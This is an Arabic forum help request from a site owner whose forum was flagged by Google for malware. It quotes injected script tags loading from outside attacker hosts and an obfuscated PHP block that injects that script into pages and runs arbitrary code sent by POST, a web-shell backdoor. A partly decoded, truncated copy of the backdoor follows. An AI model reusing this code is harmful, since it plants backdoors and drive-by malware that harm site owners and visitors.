الرجاء المساعدة فيروس في الموقع
السلام عليكم ورحمه الله وبركاته
حصلت معي مشكله في المنتدى وتم تسكير المنتدى من قبل قوقل
بسبب وجود فيروس في المنتدى
عند دخول المنتدى برنامج الكاسبر يحذر من وجود فيروس في الوصله هذه
http://208.109.100.163/images/azure.php
مع العلم تم البحث في المنتدى ولم اجد الوصله هذه في الموقع
يا ليت احد يخبرني شو الحل ؟؟؟
هذه وجدتها في صفحات الموقع
<script src=http://vidamballagas.extra.hu/sim/inde_x.php >
<?php eval(base64_decode('aWYoI WZ1bmN0aW9uX2V4aXN0cygna3 NpbycpKXtmdW5jdGlvbiBrc2l vKCRzKXtpZihwcmVnX21hdGNo X2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJ GEpKWZvcmVhY2goJGFbMF1hcy R2KWlmKGNvdW50KGV4cGxvZGU oIlxuIiwkdikpPjUpeyRlPXBy ZWdfbWF0Y2goJyNbXCciXVteX HNcJyJcLiw7XD8hXFtcXTovPD 5cKFwpXXszMCx9IycsJHYpfHx wcmVnX21hdGNoKCcjW1woXFtd KFxzKlxkKywpezIwLH0jJywkd ik7aWYoKHByZWdfbWF0Y2goJy NcYmV2YWxcYiMnLCR2KSYmKCR lfHxzdHJwb3MoJHYsJ2Zyb21D aGFyQ29kZScpKSl8fCgkZSYmc 3RycG9zKCR2LCdkb2N1bWVudC 53cml0ZScpKSkkcz1zdHJfcmV wbGFjZSgkdiwnJywkcyk7fWlm KHByZWdfbWF0Y2hfYWxsKCcjP GlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopP y8vKFtePl0qPyk+I2lzJywkcy wkYSkpZm9yZWFjaCgkYVswXWF zJHYpaWYocHJlZ19tYXRjaCgn I1tcLiBdd2lkdGhccyo9XHMqW 1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzc GxheVxzKjpccypub25lI2knLC R2KSYmIXN0cnN0cigkdiwnPyc uJz4nKSkkcz1wcmVnX3JlcGxh Y2UoJyMnLnByZWdfcXVvdGUoJ HYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkc yk7JHM9c3RyX3JlcGxhY2UoJG E9YmFzZTY0X2RlY29kZSgnUEh OamNtbHdkQ0J6Y21NOWFIUjBj RG92TDNacFpHRnRZbUZzYkdGb llYTXVaWGgwY21FdWFIVXZjMm x0TDJsdVpHVmZlQzV3YUhBZ1B qd3ZjMk55YVhCMFBnPT0nKSwn Jywkcyk7aWYoc3RyaXN0cigkc ywnPGJvZHknKSkkcz1wcmVnX3 JlcGxhY2UoJyMoXHMqPGJvZHk pI21pJywkYS4nXDEnLCRzLDEp O2Vsc2VpZihzdHJwb3MoJHMsJ zxhJykpJHM9JGEuJHM7cmV0dX JuJHM7fWZ1bmN0aW9uIGtzaW8 yKCRhLCRiLCRjLCRkKXtnbG9i YWwka3NpbzE7JHM9YXJyYXkoK TtpZihmdW5jdGlvbl9leGlzdH MoJGtzaW8xKSljYWxsX3VzZXJ fZnVuYygka3NpbzEsJGEsJGIs JGMsJGQpO2ZvcmVhY2goQG9iX 2dldF9zdGF0dXMoMSlhcyR2KW lmKCgkYT0kdlsnbmFtZSddKT0 9J2tzaW8nKXJldHVybjtlbHNl aWYoJGE9PSdvYl9nemhhbmRsZ XInKWJyZWFrO2Vsc2Ukc1tdPW FycmF5KCRhPT0nZGVmYXVsdCB vdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb 3VudCgkcyktMTskaT49MDskaS 0tKXskc1skaV1bMV09b2JfZ2V 0X2NvbnRlbnRzKCk7b2JfZW5k X2NsZWFuKCk7fW9iX3N0YXJ0K Cdrc2lvJyk7Zm9yKCRpPTA7JG k8Y291bnQoJHMpOyRpKyspe29 iX3N0YXJ0KCRzWyRpXVswXSk7 ZWNobyAkc1skaV1bMV07fX19J GtzaW9sPSgoJGE9QHNldF9lcn Jvcl9oYW5kbGVyKCdrc2lvMic pKSE9J2tzaW8yJyk/JGE6MDtldmFsKGJhc2U2NF9kZ WNvZGUoJF9QT1NUWydlJ10pKT s=')); ?>
<script src=http://208.109.100.163/images/azure.php ></script>
في الهدر
ما ادري كيف تم زرعها في ملفات الموقع
تم حذف المنتدى كامل وتم استرجاعه لكن المشكله لم تنحل والفيروس موجود
تم فتح الشفره هذه
<?php eval(base64_decode('aWYoI WZ1bmN0aW9uX2V4aXN0cygna3 NpbycpKXtmdW5jdGlvbiBrc2l vKCRzKXtpZihwcmVnX21hdGNo X2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJ GEpKWZvcmVhY2goJGFbMF1hcy R2KWlmKGNvdW50KGV4cGxvZGU oIlxuIiwkdikpPjUpeyRlPXBy ZWdfbWF0Y2goJyNbXCciXVteX HNcJyJcLiw7XD8hXFtcXTovPD 5cKFwpXXszMCx9IycsJHYpfHx wcmVnX21hdGNoKCcjW1woXFtd KFxzKlxkKywpezIwLH0jJywkd ik7aWYoKHByZWdfbWF0Y2goJy NcYmV2YWxcYiMnLCR2KSYmKCR lfHxzdHJwb3MoJHYsJ2Zyb21D aGFyQ29kZScpKSl8fCgkZSYmc 3RycG9zKCR2LCdkb2N1bWVudC 53cml0ZScpKSkkcz1zdHJfcmV wbGFjZSgkdiwnJywkcyk7fWlm KHByZWdfbWF0Y2hfYWxsKCcjP GlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopP y8vKFtePl0qPyk+I2lzJywkcy wkYSkpZm9yZWFjaCgkYVswXWF zJHYpaWYocHJlZ19tYXRjaCgn I1tcLiBdd2lkdGhccyo9XHMqW 1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzc GxheVxzKjpccypub25lI2knLC R2KSYmIXN0cnN0cigkdiwnPyc uJz4nKSkkcz1wcmVnX3JlcGxh Y2UoJyMnLnByZWdfcXVvdGUoJ HYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkc yk7JHM9c3RyX3JlcGxhY2UoJG E9YmFzZTY0X2RlY29kZSgnUEh OamNtbHdkQ0J6Y21NOWFIUjBj RG92TDNacFpHRnRZbUZzYkdGb llYTXVaWGgwY21FdWFIVXZjMm x0TDJsdVpHVmZlQzV3YUhBZ1B qd3ZjMk55YVhCMFBnPT0nKSwn Jywkcyk7aWYoc3RyaXN0cigkc ywnPGJvZHknKSkkcz1wcmVnX3 JlcGxhY2UoJyMoXHMqPGJvZHk pI21pJywkYS4nXDEnLCRzLDEp O2Vsc2VpZihzdHJwb3MoJHMsJ zxhJykpJHM9JGEuJHM7cmV0dX JuJHM7fWZ1bmN0aW9uIGtzaW8 yKCRhLCRiLCRjLCRkKXtnbG9i YWwka3NpbzE7JHM9YXJyYXkoK TtpZihmdW5jdGlvbl9leGlzdH MoJGtzaW8xKSljYWxsX3VzZXJ fZnVuYygka3NpbzEsJGEsJGIs JGMsJGQpO2ZvcmVhY2goQG9iX 2dldF9zdGF0dXMoMSlhcyR2KW lmKCgkYT0kdlsnbmFtZSddKT0 9J2tzaW8nKXJldHVybjtlbHNl aWYoJGE9PSdvYl9nemhhbmRsZ XInKWJyZWFrO2Vsc2Ukc1tdPW FycmF5KCRhPT0nZGVmYXVsdCB vdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb 3VudCgkcyktMTskaT49MDskaS 0tKXskc1skaV1bMV09b2JfZ2V 0X2NvbnRlbnRzKCk7b2JfZW5k X2NsZWFuKCk7fW9iX3N0YXJ0K Cdrc2lvJyk7Zm9yKCRpPTA7JG k8Y291bnQoJHMpOyRpKyspe29 iX3N0YXJ0KCRzWyRpXVswXSk7 ZWNobyAkc1skaV1bMV07fX19J GtzaW9sPSgoJGE9QHNldF9lcn Jvcl9oYW5kbGVyKCdrc2lvMic pKSE9J2tzaW8yJyk/JGE6MDtldmFsKGJhc2U2NF9kZ WNvZGUoJF9QT1NUWydlJ10pKT s=')); ?>
الى
if(!function_exists('ksio ')){function ksio($s){if(preg_match_al l('##is',$s,$a))foreach($ a[0]as$v)if(count(explode("\n ",$v))>5){$e=preg_match(' #[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match(' #[\(\[](\s*\d+,){20,}#',$v);if(( preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromC harCode')))||($e&&strpos( $v,'document.write')))$s= str_replace($v,'',$s);}if (preg_match_all('##is','' ,$s);$s=str_replace($a=ba se64_decode('PHNjcmlwdCBz cmM9aHR0cDovL3ZpZGFtYmFsb GFnYXMuZXh0cmEuaHUvc2ltL2 luZGVfeC5waHAgPjwvc2NyaXB 0Pg=='),'',$s);if(stristr ($s,'=0;$i--){$s[$i][1]=ob_get_contents();ob_end _clean();}ob_start('ksio' );for($i=0;$i<count
معلومات المنتدى
Powered by vBulletin Version 3.7.0 bata 4
رد مع اقتباس
مواقع النشر (المفضلة)